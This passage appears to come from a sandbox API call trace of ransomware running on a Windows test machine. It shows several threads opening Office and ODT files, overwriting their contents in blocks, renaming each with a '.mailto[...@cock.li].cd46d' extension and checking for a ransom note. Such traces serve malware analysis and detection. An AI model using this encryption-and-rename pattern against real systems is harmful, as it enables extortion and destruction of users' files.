(HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402840 [0047.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45968 [0047.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46a80 [0047.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46a80) returned 1 [0047.581] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e9e898 [0047.583] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46a80 [0047.583] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46b20 [0047.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46b20) returned 1 [0047.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45968) returned 1 [0047.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0047.583] WriteFile (in: hFile=0x698, lpBuffer=0x5e9e898*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x5a4f8e4, lpOverlapped=0x0 | out: lpBuffer=0x5e9e898*, lpNumberOfBytesWritten=0x5a4f8e4*=0xc800, lpOverlapped=0x0) returned 1 [0047.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e9e898) returned 1 [0047.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e92090) returned 1 [0047.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x440760 [0047.988] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.988] WriteFile (in: hFile=0x698, lpBuffer=0x441bf0*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x5a4f964, lpOverlapped=0x0 | out: lpBuffer=0x441bf0*, lpNumberOfBytesWritten=0x5a4f964*=0x11b, lpOverlapped=0x0) returned 1 [0048.108] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441bf0) returned 1 [0048.108] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4406e0) returned 1 [0048.108] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ede80) returned 1 [0048.108] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440760) returned 1 [0048.108] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46a80) returned 1 [0048.108] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46af8) returned 1 [0048.108] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46b48) returned 1 [0048.108] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46b70) returned 1 [0048.108] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00200 [0048.108] wcscpy (in: _Dest=0x5e00200, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8AlElqKzT6WsejUI.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8AlElqKzT6WsejUI.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8AlElqKzT6WsejUI.pptx" [0048.108] wcscat (in: _Dest=0x5e00200, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8AlElqKzT6WsejUI.pptx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8AlElqKzT6WsejUI.pptx.mailto[2Hamlampampom@cock.li].cd46d" [0048.108] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8AlElqKzT6WsejUI.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5a4f91c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8AlElqKzT6WsejUI.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.108] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x441b18 [0048.108] NtSetInformationFile (FileHandle=0x698, IoStatusBlock=0x5a4f914, FileInformation=0x441b18, Length=0xda, FileInformationClass=0xa) returned 0x0 [0048.232] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441b18) returned 1 [0048.232] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4347c0) returned 1 [0048.232] NtQueryInformationFile (in: FileHandle=0x698, IoStatusBlock=0x5a4f928, FileInformation=0x5a4f900, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x5a4f928, FileInformation=0x5a4f900) returned 0x0 [0048.232] NtSetInformationFile (FileHandle=0x698, IoStatusBlock=0x5a4f928, FileInformation=0x5a4f900, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.233] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00200) returned 1 [0048.233] FlushFileBuffers (hFile=0x698) returned 1 [0048.306] CloseHandle (hObject=0x698) returned 1 [0048.308] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400918 [0048.308] wcscpy (in: _Dest=0x400918, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.308] wcscat (in: _Dest=0x400918, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.308] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.308] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400918) returned 1 [0048.308] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4473a8) returned 1 Thread: id = 308 os_tid = 0xb48 [0047.583] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9fsUy9uf9pEq.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9fsuy9uf9peq.xlsx")) returned 0x20 [0047.583] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9fsUy9uf9pEq.xlsx", dwFileAttributes=0x20) returned 1 [0047.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9fsUy9uf9pEq.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9fsuy9uf9peq.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x69c [0047.584] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x33cfb28 | out: lpFileSize=0x33cfb28*=52503) returned 1 [0047.584] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0xcd13, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.584] ReadFile (in: hFile=0x69c, lpBuffer=0x33cfaac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33cfaa8, lpOverlapped=0x0 | out: lpBuffer=0x33cfaac*, lpNumberOfBytesRead=0x33cfaa8*=0x4, lpOverlapped=0x0) returned 1 [0047.585] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.585] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46b20 [0047.585] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46b98 [0047.585] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46bc0 [0047.585] NtQuerySystemTime (in: CurrentTime=0x33cfa88 | out: CurrentTime=0x33cfa88*=132174898115724000) returned 0x0 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0xd1f9b83 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x24b69819 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x58bd5c04 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x6eb09201 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x1748a5b4 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x15980d3e [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0xd6b79a4 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x543249f0 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x757ea9e [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x710ebf26 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x7b4e9379 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x50d86da5 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x5d84f92 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x633b1802 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x7448003 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x3bb5eb98 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x32c9e90b [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x5f003a32 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x4fb91cc0 [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x653ecc0f [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x32b207da [0047.585] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x3a964fb4 [0047.586] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x38184848 [0047.586] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x47949588 [0047.586] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x4b686981 [0047.586] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x5496793a [0047.586] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x452881f6 [0047.586] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x65c4b8d2 [0047.586] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x136da9c0 [0047.586] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x51eac99c [0047.586] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x60706dbf [0047.586] RtlRandomEx (in: Seed=0x33cfa94 | out: Seed=0x33cfa94) returned 0x4c23cf1d [0047.597] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.597] ReadFile (in: hFile=0x69c, lpBuffer=0x5eab0a0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x33cfa68, lpOverlapped=0x0 | out: lpBuffer=0x5eab0a0*, lpNumberOfBytesRead=0x33cfa68*=0xc800, lpOverlapped=0x0) returned 1 [0047.597] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.597] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402840 [0047.597] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45968 [0047.597] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46b20 [0047.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46b20) returned 1 [0047.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5eb78a8 [0047.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46b20 [0047.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46bc0 [0047.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46bc0) returned 1 [0047.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45968) returned 1 [0047.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0047.600] WriteFile (in: hFile=0x69c, lpBuffer=0x5eb78a8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x33cfa68, lpOverlapped=0x0 | out: lpBuffer=0x5eb78a8*, lpNumberOfBytesWritten=0x33cfa68*=0xc800, lpOverlapped=0x0) returned 1 [0047.990] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eb78a8) returned 1 [0047.993] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eab0a0) returned 1 [0047.995] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2f) returned 0x40aad8 [0047.995] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.995] WriteFile (in: hFile=0x69c, lpBuffer=0x4ef800*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x33cfae8, lpOverlapped=0x0 | out: lpBuffer=0x4ef800*, lpNumberOfBytesWritten=0x33cfae8*=0x113, lpOverlapped=0x0) returned 1 [0048.109] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef800) returned 1 [0048.109] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40abf0) returned 1 [0048.109] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edea8) returned 1 [0048.109] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aad8) returned 1 [0048.109] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46b20) returned 1 [0048.109] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46b98) returned 1 [0048.109] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46be8) returned 1 [0048.109] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46c10) returned 1 [0048.109] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x44d6e0 [0048.109] wcscpy (in: _Dest=0x44d6e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9fsUy9uf9pEq.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9fsUy9uf9pEq.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9fsUy9uf9pEq.xlsx" [0048.110] wcscat (in: _Dest=0x44d6e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9fsUy9uf9pEq.xlsx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9fsUy9uf9pEq.xlsx.mailto[2Hamlampampom@cock.li].cd46d" [0048.110] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9fsUy9uf9pEq.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x33cfaa0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9fsUy9uf9pEq.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.110] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd2) returned 0x441c00 [0048.110] NtSetInformationFile (FileHandle=0x69c, IoStatusBlock=0x33cfa98, FileInformation=0x441c00, Length=0xd2, FileInformationClass=0xa) returned 0x0 [0048.235] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441c00) returned 1 [0048.235] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x455548) returned 1 [0048.235] NtQueryInformationFile (in: FileHandle=0x69c, IoStatusBlock=0x33cfaac, FileInformation=0x33cfa84, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33cfaac, FileInformation=0x33cfa84) returned 0x0 [0048.235] NtSetInformationFile (FileHandle=0x69c, IoStatusBlock=0x33cfaac, FileInformation=0x33cfa84, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.236] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d6e0) returned 1 [0048.236] FlushFileBuffers (hFile=0x69c) returned 1 [0048.309] CloseHandle (hObject=0x69c) returned 1 [0048.311] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400918 [0048.311] wcscpy (in: _Dest=0x400918, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.311] wcscat (in: _Dest=0x400918, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.311] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400918) returned 1 [0048.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400998) returned 1 Thread: id = 309 os_tid = 0xb4c [0047.601] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDaJgB1BrVT5RJ.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdajgb1brvt5rj.odt")) returned 0x20 [0047.601] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDaJgB1BrVT5RJ.odt", dwFileAttributes=0x20) returned 1 [0047.601] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDaJgB1BrVT5RJ.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdajgb1brvt5rj.odt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6a0 [0047.601] GetFileSizeEx (in: hFile=0x6a0, lpFileSize=0x5c9fb50 | out: lpFileSize=0x5c9fb50*=94939) returned 1 [0047.601] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x172d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.601] ReadFile (in: hFile=0x6a0, lpBuffer=0x5c9fad4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5c9fad0, lpOverlapped=0x0 | out: lpBuffer=0x5c9fad4*, lpNumberOfBytesRead=0x5c9fad0*=0x4, lpOverlapped=0x0) returned 1 [0047.602] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.602] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46bc0 [0047.602] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46c38 [0047.602] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46c60 [0047.602] NtQuerySystemTime (in: CurrentTime=0x5c9fab0 | out: CurrentTime=0x5c9fab0*=132174898115880000) returned 0x0 [0047.602] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x6415866b [0047.602] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x64cd063d [0047.602] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x16d105d0 [0047.602] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x123e30f3 [0047.602] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x703be682 [0047.602] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x16ca677f [0047.602] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x1ac39552 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0xe5c1154 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x2aba0476 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x75a170a3 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x137bea2f [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x16b5f7b6 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x24940212 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x12830143 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x3526d74d [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x3b50b649 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x41106309 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x4ee8b3db [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x51fbe832 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x7bd180a6 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x166d35df [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0xbdfe051 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x77e56dbc [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x24994bee [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x60e119cd [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x2c81dceb [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x4fa879ec [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x180d44d1 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x478af668 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x2326dc6e [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x17620f93 [0047.603] RtlRandomEx (in: Seed=0x5c9fabc | out: Seed=0x5c9fabc) returned 0x1c00d5e9 [0047.614] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.614] ReadFile (in: hFile=0x6a0, lpBuffer=0x5ec40b0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x5c9fa90, lpOverlapped=0x0 | out: lpBuffer=0x5ec40b0*, lpNumberOfBytesRead=0x5c9fa90*=0xc800, lpOverlapped=0x0) returned 1 [0047.614] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.615] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402840 [0047.615] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45968 [0047.615] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46bc0 [0047.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46bc0) returned 1 [0047.616] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5ed08b8 [0047.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46bc0 [0047.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46c60 [0047.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46c60) returned 1 [0047.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45968) returned 1 [0047.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0047.619] WriteFile (in: hFile=0x6a0, lpBuffer=0x5ed08b8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x5c9fa90, lpOverlapped=0x0 | out: lpBuffer=0x5ed08b8*, lpNumberOfBytesWritten=0x5c9fa90*=0xc800, lpOverlapped=0x0) returned 1 [0047.997] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed08b8) returned 1 [0048.000] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec40b0) returned 1 [0048.005] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x4406a0 [0048.005] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.005] WriteFile (in: hFile=0x6a0, lpBuffer=0x4ef920*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x5c9fb10, lpOverlapped=0x0 | out: lpBuffer=0x4ef920*, lpNumberOfBytesWritten=0x5c9fb10*=0x115, lpOverlapped=0x0) returned 1 [0048.111] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef920) returned 1 [0048.111] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440620) returned 1 [0048.111] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eded0) returned 1 [0048.111] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4406a0) returned 1 [0048.111] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46bc0) returned 1 [0048.111] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46c38) returned 1 [0048.111] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46c88) returned 1 [0048.111] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46cb0) returned 1 [0048.111] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 